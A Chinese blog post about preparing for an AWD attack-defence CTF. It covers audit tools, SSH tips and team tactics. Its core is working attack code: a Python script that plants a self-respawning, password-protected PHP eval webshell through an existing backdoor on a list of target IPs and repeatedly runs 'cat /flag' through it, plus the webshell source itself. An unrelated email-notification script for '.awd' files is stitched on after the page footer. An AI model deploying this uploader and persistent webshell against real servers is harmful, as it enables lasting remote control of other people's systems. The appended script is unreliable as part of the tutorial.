AWD准备的一些脚本和工具及其使用方法


最近一段时间去打了一次省赛的线下,虽然体验不怎么好,但有些准备的小东西还是很有用的,写下来分享一下:

赛前准备

代码审计工具
seay源码审计系统

下载链接:https://github.com/f1tz/cnseay。这个看个人习惯,我用这个源码审计工具体验不是好,但还是推荐给你们。使用方法:
在这里插入图片描述
然后结果就在右边。

chip

只能审计php,但用起来挺不错的。下载链接:https://github.com/opensec-cn/chip
使用方法:在shell处输入php chip.phar check "G:\Python_Practice\safy\AWD\chip\html3"(引号里是要审计的文件路径)即可
这只是一小部分

脚本
自动上传不死马

其实这个很简单,自己动手也能写,核心就是file_put_contents写入文件。
通过小马写入busi.php(即本地的m.php),访问busi.php后就可以激活不死马。不死马有个密码pass,用来防止别人上车,密码可在m.php处的pass参数自行修改。

import requests
import time
import re

IP = open("url.txt").readlines()#靶机地址放在url.txt中
path = "/"
flag = []

def upload_shell():
    """
    上传不死马
    :return:
    """
    small_file_name = "a.php"#小马文件名
    busi_file_name = "busi.php"#不死马文件名
    way = "POST" #小马参数方式
    par = "a"  # 小马参数
    file = open("m.php", "r").read()#本地的不死马文件名
    if(way=="POST"):
        for i in IP:
            i = i.replace("\n","")
            url = "http://" + i + path
            small_url = url + small_file_name#小马url
            data = {par:"file_put_contents(\"busi.php\",\""+file+"\");"}#写入不死马
            print(data)
            requests.post(url=small_url, data=data)
            print(small_url)
            print("访问网站" + url + busi_file_name + ",倒计时:")
            i = 15
            while i:
                i -= 1
                print(i)
                time.sleep(1)
    else:
        for i in IP:
            i = i.replace("\n","")
            url = "http://" + i + path
            small_url = url + small_file_name + "?" + par + "=file_put_contents(\"m.php\",\""+file+"\");"
            requests.get(url = small_url)
            print(small_url)
            print("访问网站" + url + busi_file_name + ",倒计时:")
            i = 15
            while i:
                i -= 1
                print(i)
                time.sleep(1)


def get_flag():
    """
    通过不死马自动获取flag
    :return:
    """
    poc = ".shell.php"  #不死马位置和poc
    cmd1 = 'system("cat /flag");'
    passwd = "fortheone"
    par = "a"#不死马的参数
    data = {"pass":passwd,par:cmd1}#post备用
    while (flag):
        flag.pop()
    for each_IP in IP:
        each_IP = each_IP.replace("\n", "")
        payload = "http://" + each_IP + path + poc
        s = requests.post(url=payload,data=data)
        flag.append(re.search('flag{[a-zA-Z0-9]*}',s.text))#自己修改flag前缀
        print(payload)
        print(flag)


if __name__ == '__main__':
    upload_shell()
    while(True):
        get_flag()
        # auto_post()
        time.sleep(600)#每轮(10分钟)刷新一次flag,自己根据自己的比赛修改一轮的时间

再附上m.php(本地不死马文件,与已经上传但待激活的不死马区分开)

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
\$file = './.shell.php';
\$code = '<?php \n if(md5(\$_POST[pass])==\"eabe7c7b92c916f954764d162bc5a39a\"){@eval(\$_POST[a]);} \n';
//fortheone
while (1){
    file_put_contents(\$file,\$code);
    usleep(50);
}
?>

使用方法如下:

  1. 靶机地址写在同目录的url.txt中,path改为小马所在的路径。
  2. upload_shell函数中的small_file_name改成发现的小马文件名,way改成小马的传参方式(GET或POST)

不死马可以自行定制,不过得修改upload_shell.py里的相应参数,而且要记得加上转义符

我这个还有一些缺陷,
4. 如果中间有个机子down了就会报错退出,剩下的机子就不跑了(需要报错处理)
5. 上马需要手动访问一下不死马的页面,脚本访问的话会挂在这个页面很久耽误后面的网站(需要多线程)
6. 缺少自动提交flag的脚本(也挺简单,交flag的时候抓个包,然后照着写就完事了,记得加token)

有时间得改进一下

杀不死马
  1. service nginx stopservice php7.2-fpm stop然后即可删除不死马(比赛时肯定权限不够,所以仅适用于自己机子上测试的时候)
  2. 重启,简单粗暴
  3. 脚本。一般来说都是通过条件竞争,只要比不死马的usleep更快就行了
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.shell.php';#发现的不死马文件名
while (1){
    unlink($file);
    usleep(49);#记住,一定要比不死马更快,但不要太小,如果机子撑不住就gg了
}
?>
ssh工具

推荐MobaXterm,下载链接为https://mobaxterm.mobatek.net/
这个可以从左边的窗口直接拖源码下来,非常舒服
介绍使用方法:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这样就可以本地修然后直接上传覆盖,能解决语法问题,也相当于备份了,被人家删站之后也可以更快上线

waf

我这里有几个waf,但是由于是其他师傅写的,不敢乱给,见谅XD,waf的作用一般就是防止别人种马或者删站,网上找找应该也有

现场操作

一般来说都是2web1pwn,我们省赛有5人,一人一个web机,审洞,找到洞就把exp给第三个人用脚本跑,交flag(一般都是脚本自动提交)。,然后着手修洞。

一定要修改ssh密码!!一定要修改ssh密码!!一定要修改ssh密码!!

重要的事情说三遍!
由于这次省赛所有队伍ssh密码都一样,有的队伍被改了ssh密码,直接上不去了,当机器机挨打刷分,这是最惨的。

结语

由于我都水平有限,还有挺多东西我不会的,比如数据库的维护、种马之后的维权、日志分析等等,以后学到了新东西还会更新的(大概),也欢迎各位能分享我一些有用的工具,毕竟好东西不嫌多嘛(斜眼笑。

  • 17
    点赞
  • 113
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是一个简单的Python脚本示例,可用于监控目录中的AWD文件,并在发现新文件时发送电子邮件通知: ```python import os import time import smtplib from email.mime.text import MIMEText # 监控目录 watch_dir = '/path/to/watchdir' # 接收通知的电子邮件地址 notify_email = 'your@email.com' # SMTP服务器信息 smtp_server = 'smtp.email.com' smtp_port = 587 smtp_username = 'your@email.com' smtp_password = 'your_password' # 上次检查的文件列表 last_files = set() while True: # 获取目录中的所有AWD文件 all_files = set() for filename in os.listdir(watch_dir): if filename.endswith('.awd'): all_files.add(filename) # 检查是否有新文件 new_files = all_files - last_files if new_files: # 发送电子邮件通知 msg = MIMEText('New AWD files found: %s' % ', '.join(new_files)) msg['Subject'] = 'AWD file notification' msg['From'] = smtp_username msg['To'] = notify_email server = smtplib.SMTP(smtp_server, smtp_port) server.ehlo() server.starttls() server.login(smtp_username, smtp_password) server.sendmail(smtp_username, notify_email, msg.as_string()) server.quit() # 更新上次检查的文件列表 last_files = all_files # 等待一段时间后再继续检查 time.sleep(60) ``` 要使用脚本,请将“watch_dir”变量设置为要监视的目录的路径,并将“notify_email”变量设置为您要接收通知的电子邮件地址。还需要将SMTP服务器信息和凭据设置为正确的值。 然后,运行脚本并让它在后台运行。每当新的AWD文件出现在监视目录中时,您将通过电子邮件收到通知。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值